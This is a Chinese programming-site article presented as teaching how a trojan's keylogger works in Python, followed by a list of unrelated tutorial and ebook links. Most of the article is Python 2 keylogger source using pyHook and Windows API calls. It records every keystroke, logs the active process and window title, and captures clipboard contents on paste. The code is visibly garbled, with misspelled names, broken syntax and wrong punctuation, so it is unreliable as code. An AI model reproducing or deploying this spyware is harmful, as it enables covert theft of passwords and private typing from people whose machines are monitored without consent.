通过Python学习木马程序的键盘记录过程
- 更新时间:2020-06-29 08:20:59
- 编辑:熊馨婷
前言
Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。
# -*- coding: utf-8 -*- from ctypes inport import pythoncom import pyHook import win32clipboard user32 = winddll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Note def get_current_process(): #获取最上层的窗句柄 hwnd = user32.GetForegroundWindow() #获取进程ID pid = c_ulong(0) user32. GetwindowThreadProcessId(hwnd,byref(pid)) #将进程ID存入变量中 process_ = "%d" % pid.value #申请内存 executable = create_string_buffer("\x00"*522) h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #读取窗口标题 windows_title = create_string_buffer("\x00",512) length = user32.GetWindowTextA(hwnd,byref(windows.title),512) #打印 print print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value) print #关闭handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #关闭键盘监听事件函数 def KeyStroke(event): global current_window #检测目标窗口是否转移(换了其他窗口就监听新窗口) if event,WindowName !=current_window: current_window = event.WindowName #函数调用 get_current_process() #检测击键是否常规按键(非组合键等) if event.Ascii>32 and enent .Ascii <127 : print chr(event.Ascii), else: #如果发现ctrl + V事件,就粘贴板内容记录下来 if event.Key == "V" win32clipboard.OpenClipdoard() pasted_value = win32clipdoard. GetClipdoardData() win32clipdoard.CloseClipboard() print "[PASTE]-%s" %(pasted_value), else: print "[%s]" %event.Key, 循环监听下一个事件 return True #创建并注册hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke #注册hook并兴趣 kl.hookKeyboard() pythoncom.PumpMessages()
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对码农之家的支持。如果你想了解更多相关内容请查看下面相关链接
相关教程
-
Python CGI编程原理知识点总结
CGI(Common Gateway Interface),通用网关接口,它是一段程序,运行在服务器上如:HTTP服务器,提供同客户端HTML页面的接口
发布时间:2020-01-18
-
Python中两个对象相等的原理是什么
大部分的python程序员平时编程的时候,很少关心两个对象为什么相等,因为教程和经验来说,他们就应该相等,比如1==1就应该返回True,可是当我们想要定义自己的对象或者修改默认的对象行为时,通常会因为不了解原理而导致各种奇奇怪怪的错误。 两个对象如何相等 两个对象如何才能相等要比我们想象的复杂很多,但核心的方法是重写eq方法,这个方法返回True,则表示两个对象相等,否则,就不相等。相反的,如果两个对象不相等,则重写ne方法。
发布时间:2020-05-18
-
Python中职责链模式原理与用法详解
这篇文章主要介绍了Python设计模式之职责链模式,结合具体实例形式分析了Python责任链模式的概念、原理、定义与使用方法,需要的朋友可以参考下
发布时间:2019-11-22
-
Python爬取静态网页图片的原理方法
这篇文章主要介绍了Python使用爬虫爬取静态网页图片的方法,较为详细的说明了爬虫的原理,并结合实例形式分析了Python使用爬虫来爬取静态网页图片的相关操作技巧,需要的朋友可以参考下
发布时间:2020-01-02
-
Python设计模式中抽象工厂模式原理和用法
这篇文章主要介绍了Python设计模式之抽象工厂模式,简单讲述了抽象工厂模式的概念、原理并结合实例形式分析了Python实现与使用抽象工厂模式的相关操作技巧,需要的朋友可以参考下
发布时间:2019-06-20
-
量化交易之路:用Python做股票量化分析
本书从对量化交易的正确认识出发,循序渐进地讲解了量化交易所需要了解的各种知识及工具,详解趋势跟踪、统计套利、机器学习等量化技术;提供了大量基于真实交易的实例
大小:103.8 MB量化交易电子书
-
零起点Python大数据与量化交易
零起点Python大数据与量化交易 是国内较早关于Python大数据与量化交易的原创图书,配合zwPython开发平台和zwQuant开源量化软件学习,是一套完整的大数据分析、量化交易的学习教材,可直接用于
大小:21.6 MBPython电子书
-
笨办法学python3
大小:6 MBpython3
-
机器学习:使用OpenCV和Python进行智能图像处理
OpenCV是1个综合性了經典和优秀计算机视觉、机器学习算法的开源系统库。根据与PythonAnaconda版本号融合,我也能够 获得你所必须的全部开源系统测算库。 这书最先详细介绍归类和重归等统计分
大小:11.4 MB人工智能电子书
-
Python和Pygame游戏开发指南
Python语言和Pygame都是开发图形化的计算机游戏的得力工具。Pygame使得开发2D图形程序变得很容易,而且它可以免费下载和安装使用。 Python和Pygame游戏开发指南 是一本中级编程图书。本书教你如
大小:110.9 MBPython开发电子书
-
Python树莓派编程
《Python树莓派编程》 将向你展示如何在你新买的、35美元的计算机上通过编程实现一个网络机器人、气象站或是媒体服务器等功能。你将会通过一些简单的实例和有趣的项目学到如何在树莓派
大小:39.9 MBPython编程电子书
-
Python编程导论(第2版)
《Python编程导论 第2版》基于python3.5讲解计算机编程思想科学导论的入门书 麻省理工MIT热门MOOC教材,计算机科学基础知识教程,掌握用计算思维解决问题的能力。
大小:12.1MPython编程电子书